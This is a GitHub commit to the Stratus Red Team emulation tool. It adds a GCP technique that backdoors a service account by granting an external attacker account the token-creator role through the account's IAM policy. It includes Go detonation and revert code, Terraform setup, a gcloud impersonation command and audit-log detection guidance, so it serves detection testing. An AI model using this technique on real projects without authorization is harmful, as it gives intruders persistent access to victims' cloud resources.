Skip to content

Commit

Permalink
New GCP attack: Backdooring a service account through its IAM policy (#…
Browse files Browse the repository at this point in the history
…373)

* New GCP attack: Backdooring a service account through its IAM policy

* terraform lint

* Fix staticcheck complaining about fmt.Println(fmt.Sprintf())
  • Loading branch information
christophetd authored Jun 26, 2023
1 parent 7d260e4 commit 53140a3
Show file tree
Hide file tree
Showing 8 changed files with 287 additions and 1 deletion.
Original file line number Diff line number Diff line change
@@ -0,0 +1,87 @@
---
title: Backdoor a GCP Service Account through its IAM Policy
---

# Backdoor a GCP Service Account through its IAM Policy


<span class="smallcaps w3-badge w3-blue w3-round w3-text-white" title="This attack technique can be detonated multiple times">idempotent</span>

Platform: GCP

## MITRE ATT&CK Tactics


- Persistence

## Description


Backdoors a GCP service account by granting a fictitious attacker the ability to impersonate it and generate access temporary tokens for it.

<span style="font-variant: small-caps;">Warm-up</span>:

- Create a service account

<span style="font-variant: small-caps;">Detonation</span>:

- Backdoor the IAM policy of the service account to grant the role <code>iam.serviceAccountTokenCreator</code> to a fictitious attacker

Note that in GCP (contrary to AWS), the "IAM policy" of a service account is not granting permissions to the service account itself - rather,
it's a resource-based policy that grants permissions to other identities to impersonate the service account.

!!! info

Since the target e-mail must exist for this attack simulation to work, Stratus Red Team grants the role to stratusredteam@gmail.com by default.
This is a real Google account, owned by Stratus Red Team maintainers and that is not used for any other purpose than this attack simulation. However, you can override
this behavior by setting the environment variable <code>STRATUS_RED_TEAM_ATTACKER_EMAIL</code>, for instance:

```bash
export STRATUS_RED_TEAM_ATTACKER_EMAIL="your-own-gmail-account@gmail.com"
stratus detonate gcp.persistence.backdoor-service-account-policy
```


## Instructions

```bash title="Detonate with Stratus Red Team"
stratus detonate gcp.persistence.backdoor-service-account-policy
```
## Detection


You can detect when the IAM policy of a service account is updated using the GCP Admin Audit Logs event <code>google.iam.admin.v1.SetIAMPolicy</code> (sample below, shortened for clarity).

```json hl_lines="3 4 11 12 13 19 21"
{
"protoPayload": {
"serviceName": "iam.googleapis.com",
"methodName": "google.iam.admin.v1.SetIAMPolicy",
"resourceName": "projects/-/serviceAccounts/123456789",
"serviceData": {
"@type": "type.googleapis.com/google.iam.v1.logging.AuditData",
"policyDelta": {
"bindingDeltas": [
{
"action": "ADD",
"role": "roles/iam.serviceAccountTokenCreator",
"member": "user:stratusredteam@gmail.com"
}
]
}
},
"resource": {
"type": "service_account",
"labels": {
"email_id": "stratus-red-team-bip-sa@victim-project.iam.gserviceaccount.com",
"project_id": "victim-project"
}
},
"logName": "projects/victim-project/logs/cloudaudit.googleapis.com%2Factivity",
}
```

When someone impersonates a service account, the GCP Admin Audit Logs event <code>google.iam.credentials.v1.GenerateAccessToken</code> is emitted if you explicitly
enabled <code>DATA_READ</code> events in the audit logs configuration of your project. For more information, see [Impersonate GCP Service Accounts](https://stratus-red-team.cloud/attack-techniques/GCP/gcp.privilege-escalation.impersonate-service-accounts/#detection).


Original file line number Diff line number Diff line change
Expand Up @@ -23,7 +23,7 @@ Persists in the GCP project by inviting an external (fictitious) user to the pro

<span style="font-variant: small-caps;">Detonation</span>:

- Updates the project IAM policy to grant the attacker account the role of <code>roles/editor</code>
- Updates the project IAM policy to grant the attacker account the role <code>roles/editor</code>

!!! note

Expand Down
2 changes: 2 additions & 0 deletions docs/attack-techniques/GCP/index.md
Original file line number Diff line number Diff line change
Expand Up @@ -11,6 +11,8 @@ Note that some Stratus attack techniques may correspond to more than a single AT

## Persistence

- [Backdoor a GCP Service Account through its IAM Policy](./gcp.persistence.backdoor-service-account-policy.md)

- [Create an Admin GCP Service Account](./gcp.persistence.create-admin-service-account.md)

- [Create a GCP Service Account Key](./gcp.persistence.create-service-account-key.md)
Expand Down
1 change: 1 addition & 0 deletions docs/attack-techniques/list.md
Original file line number Diff line number Diff line change
Expand Up @@ -40,6 +40,7 @@ This page contains the list of all Stratus Attack Techniques.
| [Execute Commands on Virtual Machine using Run Command](./azure/azure.execution.vm-run-command.md) | [Azure](./azure/index.md) | Execution |
| [Export Disk Through SAS URL](./azure/azure.exfiltration.disk-export.md) | [Azure](./azure/index.md) | Exfiltration |
| [Exfiltrate Compute Disk by sharing it](./GCP/gcp.exfiltration.share-compute-disk.md) | [GCP](./GCP/index.md) | Exfiltration |
| [Backdoor a GCP Service Account through its IAM Policy](./GCP/gcp.persistence.backdoor-service-account-policy.md) | [GCP](./GCP/index.md) | Persistence |
| [Create an Admin GCP Service Account](./GCP/gcp.persistence.create-admin-service-account.md) | [GCP](./GCP/index.md) | Persistence, Privilege Escalation |
| [Create a GCP Service Account Key](./GCP/gcp.persistence.create-service-account-key.md) | [GCP](./GCP/index.md) | Persistence, Privilege Escalation |
| [Invite an External User to a GCP Project](./GCP/gcp.persistence.invite-external-user.md) | [GCP](./GCP/index.md) | Persistence |
Expand Down
7 changes: 7 additions & 0 deletions docs/index.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -251,6 +251,13 @@ GCP:
platform: GCP
isIdempotent: true
Persistence:
- id: gcp.persistence.backdoor-service-account-policy
name: Backdoor a GCP Service Account through its IAM Policy
isSlow: false
mitreAttackTactics:
- Persistence
platform: GCP
isIdempotent: true
- id: gcp.persistence.create-admin-service-account
name: Create an Admin GCP Service Account
isSlow: false
Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1,152 @@
package gcp

import (
"context"
_ "embed"
"errors"
"fmt"
"log"
"os"
"strings"

"github.com/datadog/stratus-red-team/v2/pkg/stratus"
"github.com/datadog/stratus-red-team/v2/pkg/stratus/mitreattack"
iam "google.golang.org/api/iam/v1"
)

//go:embed main.tf
var tf []byte

const codeBlock = "```"
const AttackTechniqueId = "gcp.persistence.backdoor-service-account-policy"

func init() {
stratus.GetRegistry().RegisterAttackTechnique(&stratus.AttackTechnique{
ID: AttackTechniqueId,
FriendlyName: "Backdoor a GCP Service Account through its IAM Policy",
Description: `
Backdoors a GCP service account by granting a fictitious attacker the ability to impersonate it and generate access temporary tokens for it.
Warm-up:
- Create a service account
Detonation:
- Backdoor the IAM policy of the service account to grant the role <code>` + RoleToGrant + `</code> to a fictitious attacker
Note that in GCP (contrary to AWS), the "IAM policy" of a service account is not granting permissions to the service account itself - rather,
it's a resource-based policy that grants permissions to other identities to impersonate the service account.
!!! info
Since the target e-mail must exist for this attack simulation to work, Stratus Red Team grants the role to ` + DefaultFictitiousAttackerEmail + ` by default.
This is a real Google account, owned by Stratus Red Team maintainers and that is not used for any other purpose than this attack simulation. However, you can override
this behavior by setting the environment variable <code>` + AttackerEmailEnvVarKey + `</code>, for instance:
` + codeBlock + `bash
export ` + AttackerEmailEnvVarKey + `="your-own-gmail-account@gmail.com"
stratus detonate ` + AttackTechniqueId + `
` + codeBlock + `
`,
Detection: `
You can detect when the IAM policy of a service account is updated using the GCP Admin Audit Logs event <code>google.iam.admin.v1.SetIAMPolicy</code> (sample below, shortened for clarity).
` + codeBlock + `json hl_lines="3 4 11 12 13 19 21"
{
"protoPayload": {
"serviceName": "iam.googleapis.com",
"methodName": "google.iam.admin.v1.SetIAMPolicy",
"resourceName": "projects/-/serviceAccounts/123456789",
"serviceData": {
"@type": "type.googleapis.com/google.iam.v1.logging.AuditData",
"policyDelta": {
"bindingDeltas": [
{
"action": "ADD",
"role": "roles/iam.serviceAccountTokenCreator",
"member": "user:stratusredteam@gmail.com"
}
]
}
},
"resource": {
"type": "service_account",
"labels": {
"email_id": "stratus-red-team-bip-sa@victim-project.iam.gserviceaccount.com",
"project_id": "victim-project"
}
},
"logName": "projects/victim-project/logs/cloudaudit.googleapis.com%2Factivity",
}
` + codeBlock + `
When someone impersonates a service account, the GCP Admin Audit Logs event <code>google.iam.credentials.v1.GenerateAccessToken</code> is emitted if you explicitly
enabled <code>DATA_READ</code> events in the audit logs configuration of your project. For more information, see [Impersonate GCP Service Accounts](https://stratus-red-team.cloud/attack-techniques/GCP/gcp.privilege-escalation.impersonate-service-accounts/#detection).
`,
Platform: stratus.GCP,
IsIdempotent: true,
MitreAttackTactics: []mitreattack.Tactic{mitreattack.Persistence},
PrerequisitesTerraformCode: tf,
Detonate: detonate,
Revert: revert,
})
}

const DefaultFictitiousAttackerEmail = "stratusredteam@gmail.com"
const AttackerEmailEnvVarKey = "STRATUS_RED_TEAM_ATTACKER_EMAIL"
const RoleToGrant = "iam.serviceAccountTokenCreator"

func detonate(params map[string]string, providers stratus.CloudProviders) error {
attackerPrincipal := getAttackerPrincipal()
policy := &iam.Policy{
Bindings: []*iam.Binding{
{
Role: fmt.Sprintf("roles/%s", RoleToGrant),
Members: []string{attackerPrincipal},
},
},
}
log.Println("Granting " + attackerPrincipal + " " + RoleToGrant + " on " + params["sa_email"] + " through its IAM policy")
err := setServiceAccountPolicy(providers, params["sa_email"], params["sa_id"], policy)
if err != nil {
return err
}
log.Println("The attacker can now impersonate the service account and generate access tokens for it, for instance using the following command:")
log.Printf("gcloud --impersonate-service-account=%s storage ls\n", params["sa_email"])
return nil
}

func revert(params map[string]string, providers stratus.CloudProviders) error {
policy := &iam.Policy{
Bindings: []*iam.Binding{},
}
log.Println("Reverting the IAM policy of " + params["sa_email"])
return setServiceAccountPolicy(providers, params["sa_email"], params["sa_id"], policy)
}

func setServiceAccountPolicy(providers stratus.CloudProviders, saEmail string, saId string, policy *iam.Policy) error {

ctx := context.Background()
service, err := iam.NewService(ctx, providers.GCP().Options())
if err != nil {
return errors.New("Error instantiating GCP SDK Client: " + err.Error())
}

_, err = service.Projects.ServiceAccounts.SetIamPolicy(saId, &iam.SetIamPolicyRequest{Policy: policy}).Do()

if err != nil {
return fmt.Errorf("unable to set IAM policy of %s: %w", saEmail, err)
}

return nil
}

func getAttackerPrincipal() string {
const UserPrefix = "user:"
if attackerEmail := os.Getenv(AttackerEmailEnvVarKey); attackerEmail != "" {
return UserPrefix + strings.ToLower(attackerEmail)
} else {
return UserPrefix + DefaultFictitiousAttackerEmail
}
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,36 @@
terraform {
required_providers {
google = {
source = "hashicorp/google"
version = "~> 4.28.0"
}
}
}

data "google_project" "current" {}

locals {
resource_prefix = "stratus-red-team-bip" # stratus red team backdoor iam policy
}

resource "google_service_account" "service_account" {
account_id = format("%s-sa", local.resource_prefix)
}

resource "google_project_iam_member" "binding" {
project = data.google_project.current.project_id
role = "roles/viewer"
member = "serviceAccount:${google_service_account.service_account.email}"
}

output "sa_email" {
value = google_service_account.service_account.email
}

output "sa_id" {
value = google_service_account.service_account.id
}

output "display" {
value = format("Service account %s ready", google_service_account.service_account.email)
}
1 change: 1 addition & 0 deletions v2/internal/attacktechniques/main.go
Original file line number Diff line number Diff line change
Expand Up @@ -32,6 +32,7 @@ import (
_ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/azure/execution/vm-run-command"
_ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/azure/exfiltration/disk-export"
_ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/exfiltration/share-compute-disk"
_ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/persistence/backdoor-service-account-policy"
_ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/persistence/create-admin-service-account"
_ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/persistence/create-service-account-key"
_ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/persistence/invite-external-user"
Expand Down

0 comments on commit 53140a3

Please sign in to comment.